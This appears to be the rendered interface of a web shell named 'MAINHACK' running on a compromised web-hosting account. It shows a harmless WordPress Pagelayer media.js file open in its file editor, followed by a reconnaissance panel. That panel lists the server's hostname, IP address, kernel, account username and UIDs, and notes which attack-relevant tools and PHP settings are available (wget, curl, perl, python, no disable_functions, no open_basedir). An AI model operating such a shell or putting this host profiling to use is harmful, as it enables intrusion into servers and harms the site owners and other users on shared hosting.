[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: media.js
File is not writable. Editing disabled.
import { LabelControl } from './label'; import { MediaUpload } from '@wordpress/block-editor'; export const MediaControl = (props) => { const { attributes, prop, value, setAttributes} = props; const { name } = prop['c']; const tmpAtts = attributes?.tmpAtts ? attributes.tmpAtts : {}; const setURL = pagelayer_empty(tmpAtts[name+'-url']) ? value : tmpAtts[name+'-url']; var mediaSting = 'Media'; var allow = []; var propType = prop?.type; if(propType == 'video'){ allow = ['video']; mediaSting = 'Video'; }else if(propType == 'audio'){ allow = ['audio']; mediaSting = 'Audio'; } const handleMediaChange = (e) => { const newURL = e.target.value; const tmp = { ...tmpAtts, [name+'-url']: newURL, }; setAttributes({ [name]: newURL, tmpAtts: tmp, }) }; const onSelectMedia = (videoProps) => { const { id, url } = videoProps; const tmp = { ...tmpAtts, [name+'-url']: url, }; setAttributes({ [name]: id, tmpAtts: tmp, }); } const renderMediaUploader = (open) => { return ( <div className="pagelayer-elp-media-div pagelayer-elp-input-icon"> <input className="pagelayer-elp-media" name={name} type="text" value={setURL} placeholder={`Insert ${mediaSting} URL`} onChange={ (e) => handleMediaChange(e) } > </input> <span className="pagelayer-elp-add-media" onClick={ () => {open()} } title='Open Media Library' ><i className="pli pli-menu"></i></span> </div> ); } return ( <div className="components-base-control pagelayer-base-control"> <LabelControl {...props}/> <MediaUpload title={`Select or Upload ${mediaSting}`} onSelect={ onSelectMedia } allowedTypes={ allow } value={ value } render={ ( { open } ) => renderMediaUploader( open ) } /> </div> ); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: N/A